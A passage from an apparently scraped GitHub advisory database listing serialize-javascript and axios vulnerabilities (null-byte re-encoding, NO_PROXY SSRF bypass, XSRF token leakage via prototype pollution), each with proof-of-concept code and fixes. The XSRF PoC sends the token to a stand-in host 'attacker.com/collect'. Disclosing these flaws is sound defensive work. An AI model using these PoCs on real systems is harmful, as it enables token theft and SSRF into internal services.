by:\n\n* Validating and sanitizing all input before passing it to the `serialize()` function.\n* Ensuring the environment is protected against Prototype Pollution.\n* Upgrading to **`v7.0.5`** as soon as possible.\n\n### Acknowledgements\n\nSerialize JavaScript thanks **Tomer Aberbach** (@TomerAberbach) for discovering and privately disclosing this issue.",
"id": "GHSA-qj8w-gfj5-8c6v",
"modified": "2026-05-21T18:30:13Z",
"published": "2026-03-27T18:18:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-qj8w-gfj5-8c6v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34043"
},
{
"type": "WEB",
"url": "https://github.com/yahoo/serialize-javascript/commit/f147e90269b58bb6e539cfdf3d0e20d6ad14204b"
},
{
"type": "PACKAGE",
"url": "https://github.com/yahoo/serialize-javascript"
},
{
"type": "WEB",
"url": "https://github.com/yahoo/serialize-javascript/releases/tag/v5.0.0"
},
{
"type": "WEB",
"url": "https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Serialize JavaScript has CPU Exhaustion Denial of Service via crafted array-like objects"
}
GHSA-XHJH-PMCV-23JW
Vulnerability from github – Published: 2026-05-05 00:18 – Updated: 2026-05-05 00:18Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams
Summary
The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.
This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.
Severity: Low (CVSS 3.7)
Affected Versions: All versions containing this charMap entry
Vulnerable Component: lib/helpers/AxiosURLSearchParams.js:21
CWE
- CWE-626: Null Byte Interaction Error (Poison Null Byte)
- CWE-116: Improper Encoding or Escaping of Output
CVSS 3.1
Score: 3.7 (Low)
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | Attacker controls input parameters remotely |
| Attack Complexity | High | Standard axios request flow (buildURL) uses its own encode function which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Impact limited to HTTP request URL |
| Confidentiality | None | No confidentiality impact |
| Integrity | Low | Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser |
| Availability | None | No availability impact |
Vulnerable Code
File: lib/helpers/AxiosURLSearchParams.js, lines 13-26
function encode(str) {
const charMap = {
'!': '%21', // literal → encoded (SAFE direction)
"'": '%27', // literal → encoded (SAFE direction)
'(': '%28', // literal → encoded (SAFE direction)
')': '%29', // literal → encoded (SAFE direction)
'~': '%7E', // literal → encoded (SAFE direction)
'%20': '+', // standard transformation (SAFE)
'%00': '\x00', // LINE 21: encoded → raw null byte (UNSAFE direction!)
};
return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {
return charMap[match];
});
}
Why the Standard Flow Is NOT Affected
// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's
const _encode = (options && options.encode) || encode; // buildURL's encode
// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams
new AxiosURLSearchParams(params, _options).toString(_encode); // external encoder used
// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used
const _encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode;
// ^^^^^^
// internal encode passed as 2nd arg but only used if
// the external encoder explicitly delegates to it
Proof of Concept
import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js';
import buildURL from './lib/helpers/buildURL.js';
// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)
const params = new AxiosURLSearchParams({ file: 'test\x00.txt' });
const result = params.toString(); // NO encoder → uses internal encode with charMap
console.log('Direct toString():', JSON.stringify(result));
// Output: "file=test\u0000.txt" (contains raw null byte)
console.log('Hex:', Buffer.from(result).toString('hex'));
// Output: 66696c653d74657374002e747874 (00 = null byte)
// Test 2: Via buildURL (NOT vulnerable — standard axios flow)
const url = buildURL('http://example.com/api', { file: 'test\x00.txt' });
console.log('Via buildURL:', url);
// Output: http://example.com/api?file=test%00.txt (%00 preserved safely)
Verified PoC Output
Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874
Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true
Impact Analysis
Primary impact is limited because the standard axios request flow is not affected. However:
- Direct API users: Applications using
AxiosURLSearchParamsdirectly for custom serialization are affected - Custom paramsSerializer: A
paramsSerializer.encodethat delegates to the internal encoder triggers the bug - Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case
If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.
Recommended Fix
Remove the %00 entry from charMap and update the regex:
function encode(str) {
const charMap = {
'!': '%21',
"'": '%27',
'(': '%28',
')': '%29',
'~': '%7E',
'%20': '+',
// REMOVED: '%00': '\x00'
};
return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) {
// ^^^^ removed |%00
return charMap[match];
});
}
Resources
- CWE-626: Null Byte Interaction Error
- CWE-116: Improper Encoding or Escaping of Output
- OWASP: Embedding Null Code
- Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-16 | Report revised: documented standard-flow limitation, corrected CVSS |
| TBD | Report submitted to vendor via GitHub Security Advisory |
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.0"
},
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42040"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-626"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:18:03Z",
"nvd_published_at": "2026-04-24T18:16:30Z",
"severity": "LOW"
},
"details": "# Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams\n\n## Summary\n\nThe `encode()` function in `lib/helpers/AxiosURLSearchParams.js` contains a character mapping (`charMap`) at line 21 that **reverses** the safe percent-encoding of null bytes. After `encodeURIComponent(\u0027\\x00\u0027)` correctly produces the safe sequence `%00`, the charMap entry `\u0027%00\u0027: \u0027\\x00\u0027` converts it back to a raw null byte.\n\nThis is a clear encoding defect: every other charMap entry encodes in the safe direction (literal \u2192 percent-encoded), while this single entry decodes in the opposite (dangerous) direction.\n\n**Severity:** Low (CVSS 3.7)\n**Affected Versions:** All versions containing this charMap entry\n**Vulnerable Component:** `lib/helpers/AxiosURLSearchParams.js:21`\n\n## CWE\n\n- **CWE-626:** Null Byte Interaction Error (Poison Null Byte)\n- **CWE-116:** Improper Encoding or Escaping of Output\n\n## CVSS 3.1\n\n**Score: 3.7 (Low)**\n\nVector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | Attacker controls input parameters remotely |\n| Attack Complexity | High | Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Impact limited to HTTP request URL |\n| Confidentiality | None | No confidentiality impact |\n| Integrity | Low | Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser |\n| Availability | None | No availability impact |\n\n## Vulnerable Code\n\n**File:** `lib/helpers/AxiosURLSearchParams.js`, lines 13-26\n\n```javascript\nfunction encode(str) {\n const charMap = {\n \u0027!\u0027: \u0027%21\u0027, // literal \u2192 encoded (SAFE direction)\n \"\u0027\": \u0027%27\u0027, // literal \u2192 encoded (SAFE direction)\n \u0027(\u0027: \u0027%28\u0027, // literal \u2192 encoded (SAFE direction)\n \u0027)\u0027: \u0027%29\u0027, // literal \u2192 encoded (SAFE direction)\n \u0027~\u0027: \u0027%7E\u0027, // literal \u2192 encoded (SAFE direction)\n \u0027%20\u0027: \u0027+\u0027, // standard transformation (SAFE)\n \u0027%00\u0027: \u0027\\x00\u0027, // LINE 21: encoded \u2192 raw null byte (UNSAFE direction!)\n };\n return encodeURIComponent(str).replace(/[!\u0027()~]|%20|%00/g, function replacer(match) {\n return charMap[match];\n });\n}\n```\n\n### Why the Standard Flow Is NOT Affected\n\n```javascript\n// buildURL.js:36 \u2014 uses its OWN encode function (lines 14-20), not AxiosURLSearchParams\u0027s\nconst _encode = (options \u0026\u0026 options.encode) || encode; // buildURL\u0027s encode\n\n// buildURL.js:53 \u2014 passes buildURL\u0027s encode to AxiosURLSearchParams\nnew AxiosURLSearchParams(params, _options).toString(_encode); // external encoder used\n\n// AxiosURLSearchParams.js:48 \u2014 when encoder is provided, internal encode is NOT used\nconst _encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode;\n// ^^^^^^\n// internal encode passed as 2nd arg but only used if\n// the external encoder explicitly delegates to it\n```\n\n## Proof of Concept\n\n```javascript\nimport AxiosURLSearchParams from \u0027./lib/helpers/AxiosURLSearchParams.js\u0027;\nimport buildURL from \u0027./lib/helpers/buildURL.js\u0027;\n\n// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)\nconst params = new AxiosURLSearchParams({ file: \u0027test\\x00.txt\u0027 });\nconst result = params.toString(); // NO encoder \u2192 uses internal encode with charMap\nconsole.log(\u0027Direct toString():\u0027, JSON.stringify(result));\n// Output: \"file=test\\u0000.txt\" (contains raw null byte)\nconsole.log(\u0027Hex:\u0027, Buffer.from(result).toString(\u0027hex\u0027));\n// Output: 66696c653d74657374002e747874 (00 = null byte)\n\n// Test 2: Via buildURL (NOT vulnerable \u2014 standard axios flow)\nconst url = buildURL(\u0027http://example.com/api\u0027, { file: \u0027test\\x00.txt\u0027 });\nconsole.log(\u0027Via buildURL:\u0027, url);\n// Output: http://example.com/api?file=test%00.txt (%00 preserved safely)\n```\n\n## Verified PoC Output\n\n```\nDirect toString(): \"file=test\\u0000.txt\"\nContains raw null byte: true\nHex: 66696c653d74657374002e747874\n\nVia buildURL: http://example.com/api?file=test%00.txt\nContains raw null byte: false\nContains safe %00: true\n```\n\n## Impact Analysis\n\n**Primary impact is limited** because the standard axios request flow is not affected. However:\n\n- **Direct API users:** Applications using `AxiosURLSearchParams` directly for custom serialization are affected\n- **Custom paramsSerializer:** A `paramsSerializer.encode` that delegates to the internal encoder triggers the bug\n- **Code defect signal:** The directional inconsistency in charMap is a clear coding error with no legitimate use case\n\nIf null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.\n\n## Recommended Fix\n\nRemove the `%00` entry from charMap and update the regex:\n\n```javascript\nfunction encode(str) {\n const charMap = {\n \u0027!\u0027: \u0027%21\u0027,\n \"\u0027\": \u0027%27\u0027,\n \u0027(\u0027: \u0027%28\u0027,\n \u0027)\u0027: \u0027%29\u0027,\n \u0027~\u0027: \u0027%7E\u0027,\n \u0027%20\u0027: \u0027+\u0027,\n // REMOVED: \u0027%00\u0027: \u0027\\x00\u0027\n };\n return encodeURIComponent(str).replace(/[!\u0027()~]|%20/g, function replacer(match) {\n // ^^^^ removed |%00\n return charMap[match];\n });\n}\n```\n\n## Resources\n\n- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)\n- [CWE-116: Improper Encoding or Escaping of Output](https://cwe.mitre.org/data/definitions/116.html)\n- [OWASP: Embedding Null Code](https://owasp.org/www-community/attacks/Embedding_Null_Code)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-16 | Report revised: documented standard-flow limitation, corrected CVSS |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
"id": "GHSA-xhjh-pmcv-23jw",
"modified": "2026-05-05T00:18:03Z",
"published": "2026-05-05T00:18:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-xhjh-pmcv-23jw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42040"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams"
}
GHSA-3P68-RC4W-QGX5
Vulnerability from github – Published: 2026-04-09 17:32 – Updated: 2026-05-08 13:46Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.
This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.
According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.
This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.
PoC
import http from "http";
import axios from "axios";
const proxyPort = 5300;
http.createServer((req, res) => {
console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
res.writeHead(200, { "Content-Type": "text/plain" });
res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));
process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";
async function test(url) {
try {
await axios.get(url, { timeout: 2000 });
} catch {}
}
setTimeout(async () => {
console.log("\n[*] Testing http://localhost.:8080/");
await test("http://localhost.:8080/"); // goes through proxy
console.log("\n[*] Testing http://[::1]:8080/");
await test("http://[::1]:8080/"); // goes through proxy
}, 500);
Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].
Impact
- Applications that rely on
NO_PROXY=localhost,127.0.0.1,::1for protecting loopback/internal access are vulnerable. -
Attackers controlling request URLs can:
-
Force Axios to send local traffic through an attacker-controlled proxy.
- Bypass SSRF mitigations relying on NO_PROXY rules.
- Potentially exfiltrate sensitive responses from internal services via the proxy.
Affected Versions
- Confirmed on Axios 1.12.2 (latest at time of testing).
- affects all versions that rely on Axios’ current
NO_PROXYevaluation.
Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:
- Strip trailing dots from hostnames (per RFC 3986).
- Normalize IPv6 literals by removing brackets for matching.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62718"
],
"database_specific": {
"cwe_ids": [
"CWE-441",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-09T17:32:19Z",
"nvd_published_at": "2026-04-09T15:16:08Z",
"severity": "MODERATE"
},
"details": "Axios does not correctly handle hostname normalization when checking `NO_PROXY` rules.\nRequests to loopback addresses like `localhost.` (with a trailing dot) or `[::1]` (IPv6 literal) skip `NO_PROXY` matching and go through the configured proxy.\n\nThis goes against what developers expect and lets attackers force requests through a proxy, even if `NO_PROXY` is set up to protect loopback or internal services.\n\nAccording to [RFC 1034 \u00a73.1](https://datatracker.ietf.org/doc/html/rfc1034#section-3.1) and [RFC 3986 \u00a73.2.2](https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2), a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, `localhost.` is the same as `localhost`. \nHowever, Axios does a literal string comparison instead of normalizing hostnames before checking `NO_PROXY`. This causes requests like `http://localhost.:8080/` and `http://[::1]:8080/` to be incorrectly proxied.\n\nThis issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.\n\n---\n\n**PoC**\n\n```js\nimport http from \"http\";\nimport axios from \"axios\";\n\nconst proxyPort = 5300;\n\nhttp.createServer((req, res) =\u003e {\n console.log(\"[PROXY] Got:\", req.method, req.url, \"Host:\", req.headers.host);\n res.writeHead(200, { \"Content-Type\": \"text/plain\" });\n res.end(\"proxied\");\n}).listen(proxyPort, () =\u003e console.log(\"Proxy\", proxyPort));\n\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;\nprocess.env.NO_PROXY = \"localhost,127.0.0.1,::1\";\n\nasync function test(url) {\n try {\n await axios.get(url, { timeout: 2000 });\n } catch {}\n}\n\nsetTimeout(async () =\u003e {\n console.log(\"\\n[*] Testing http://localhost.:8080/\");\n await test(\"http://localhost.:8080/\"); // goes through proxy\n\n console.log(\"\\n[*] Testing http://[::1]:8080/\");\n await test(\"http://[::1]:8080/\"); // goes through proxy\n}, 500);\n```\n\n**Expected:** Requests bypass the proxy (direct to loopback).\n**Actual:** Proxy logs requests for `localhost.` and `[::1]`.\n\n---\n\n**Impact**\n\n* Applications that rely on `NO_PROXY=localhost,127.0.0.1,::1` for protecting loopback/internal access are vulnerable.\n* Attackers controlling request URLs can:\n\n * Force Axios to send local traffic through an attacker-controlled proxy.\n * Bypass SSRF mitigations relying on NO\\_PROXY rules.\n * Potentially exfiltrate sensitive responses from internal services via the proxy.\n \n \n---\n\n**Affected Versions**\n\n* Confirmed on Axios **1.12.2** (latest at time of testing).\n* affects all versions that rely on Axios\u2019 current `NO_PROXY` evaluation.\n\n---\n\n**Remediation**\nAxios should normalize hostnames before evaluating `NO_PROXY`, including:\n\n* Strip trailing dots from hostnames (per RFC 3986).\n* Normalize IPv6 literals by removing brackets for matching.",
"id": "GHSA-3p68-rc4w-qgx5",
"modified": "2026-05-08T13:46:43Z",
"published": "2026-04-09T17:32:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/10661"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/10688"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc1034#section-3.1"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.31.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.15.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF"
}
GHSA-XX6V-RP6X-Q39C
Vulnerability from github – Published: 2026-05-05 00:25 – Updated: 2026-05-05 00:25Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion
Summary
The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.
Severity: Medium (CVSS 5.4)
Affected Versions: All versions since withXSRFToken was introduced
Vulnerable Component: lib/helpers/resolveConfig.js:59
Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)
CWE
- CWE-201: Insertion of Sensitive Information Into Sent Data
- CWE-183: Permissive List of Allowed Inputs
CVSS 3.1
Score: 5.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP triggered remotely via vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |
| Privileges Required | None | No authentication needed |
| User Interaction | Required | Victim must use browser with axios making cross-origin requests |
| Scope | Unchanged | Token leakage within browser context |
| Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token |
| Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |
| Availability | None | No availability impact |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input when triggered via prototype pollution.
If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.
Vulnerable Code
File: lib/helpers/resolveConfig.js, lines 57-66
// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));
// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
// ^^^^^^^^^^^^^^^^
// When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
// isURLSameOrigin() is NEVER called → token sent to ANY origin
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
if (xsrfValue) {
headers.set(xsrfHeaderName, xsrfValue);
}
}
Designed behavior:
- true → always send token (explicit cross-origin opt-in)
- false → never send token
- undefined → send only for same-origin requests
Actual behavior for non-boolean truthy values (1, "false", {}, []):
- All treated as truthy → same-origin check skipped → token sent everywhere
Proof of Concept
// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;
// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers
Verified PoC Output
withXSRFToken Value Sends Token Cross-Origin Expected
true (boolean) YES Yes (opt-in)
false (boolean) No No
undefined (default) No No
1 (number) YES ← BUG No
"false" (string) YES ← BUG No
{} (object) YES ← BUG No
[] (array) YES ← BUG No
Prototype pollution:
Object.prototype.withXSRFToken = 1
config.withXSRFToken = 1 → leaks=true
isURLSameOrigin() was NOT called (short-circuited)
Impact Analysis
- XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
- Universal Scope: A single
Object.prototype.withXSRFToken = 1affects every axios request in the application - Misconfiguration Risk: Developer writing
withXSRFToken: "false"(string) instead offalse(boolean) triggers the same issue without PP
Limitations:
- Browser-only (XSRF logic runs only in hasStandardBrowserEnv)
- XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking
- Attacker still needs a way to deliver the forged request after obtaining the token
Recommended Fix
Use strict boolean comparison:
// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
(withXSRFToken == null && isURLSameOrigin(newConfig.url));
if (shouldSendXSRF) {
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
if (xsrfValue) {
headers.set(xsrfHeaderName, xsrfValue);
}
}
Resources
- CWE-201: Insertion of Sensitive Information Into Sent Data
- CWE-183: Permissive List of Allowed Inputs
- GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios
- Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-16 | Report revised: corrected CVSS, documented limitations |
| TBD | Report submitted to vendor via GitHub Security Advisory |
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.0"
},
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42042"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-201"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:25:22Z",
"nvd_published_at": "2026-04-24T18:16:31Z",
"severity": "MODERATE"
},
"details": "# Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion\n\n## Summary\n\nThe Axios library\u0027s XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the `withXSRFToken` config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (`isURLSameOrigin`) is **short-circuited**, causing XSRF tokens to be sent to **all** request targets including cross-origin servers controlled by an attacker.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** All versions since `withXSRFToken` was introduced\n**Vulnerable Component:** `lib/helpers/resolveConfig.js:59`\n**Environment:** Browser-only (XSRF logic only runs when `hasStandardBrowserEnv` is true)\n\n## CWE\n\n- **CWE-201:** Insertion of Sensitive Information Into Sent Data\n- **CWE-183:** Permissive List of Allowed Inputs\n\n## CVSS 3.1\n\n**Score: 5.4 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |\n| Privileges Required | None | No authentication needed |\n| User Interaction | Required | Victim must use browser with axios making cross-origin requests |\n| Scope | Unchanged | Token leakage within browser context |\n| Confidentiality | Low | XSRF token leaked \u2014 anti-CSRF token, not session token |\n| Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |\n| Availability | None | No availability impact |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input** when triggered via prototype pollution.\n\nIf an attacker can pollute `Object.prototype.withXSRFToken` with any truthy value (e.g., `1`, `\"true\"`, `{}`), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.\n\n## Vulnerable Code\n\n**File:** `lib/helpers/resolveConfig.js`, lines 57-66\n\n```javascript\n// Line 57: Function check \u2014 only applies if withXSRFToken is a function\nwithXSRFToken \u0026\u0026 utils.isFunction(withXSRFToken) \u0026\u0026 (withXSRFToken = withXSRFToken(newConfig));\n\n// Line 59: The vulnerable condition\nif (withXSRFToken || (withXSRFToken !== false \u0026\u0026 isURLSameOrigin(newConfig.url))) {\n// ^^^^^^^^^^^^^^^^\n// When withXSRFToken = 1 (truthy non-boolean): this is true \u2192 short-circuits\n// isURLSameOrigin() is NEVER called \u2192 token sent to ANY origin\n const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n if (xsrfValue) {\n headers.set(xsrfHeaderName, xsrfValue);\n }\n}\n```\n\n**Designed behavior:**\n- `true` \u2192 always send token (explicit cross-origin opt-in)\n- `false` \u2192 never send token\n- `undefined` \u2192 send only for same-origin requests\n\n**Actual behavior for non-boolean truthy values (`1`, `\"false\"`, `{}`, `[]`):**\n- All treated as truthy \u2192 same-origin check skipped \u2192 token sent everywhere\n\n## Proof of Concept\n\n```javascript\n// Simulated prototype pollution from any vulnerable dependency\nObject.prototype.withXSRFToken = 1;\n\n// In browser with document.cookie = \"XSRF-TOKEN=secret-csrf-token-abc123\"\n// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123\n// Even to cross-origin hosts:\nawait axios.get(\u0027https://attacker.com/collect\u0027);\n// \u2192 attacker receives the XSRF token in request headers\n```\n\n## Verified PoC Output\n\n```\nwithXSRFToken Value Sends Token Cross-Origin Expected\ntrue (boolean) YES Yes (opt-in)\nfalse (boolean) No No\nundefined (default) No No\n1 (number) YES \u2190 BUG No\n\"false\" (string) YES \u2190 BUG No\n{} (object) YES \u2190 BUG No\n[] (array) YES \u2190 BUG No\n\nPrototype pollution:\n Object.prototype.withXSRFToken = 1\n config.withXSRFToken = 1 \u2192 leaks=true\n isURLSameOrigin() was 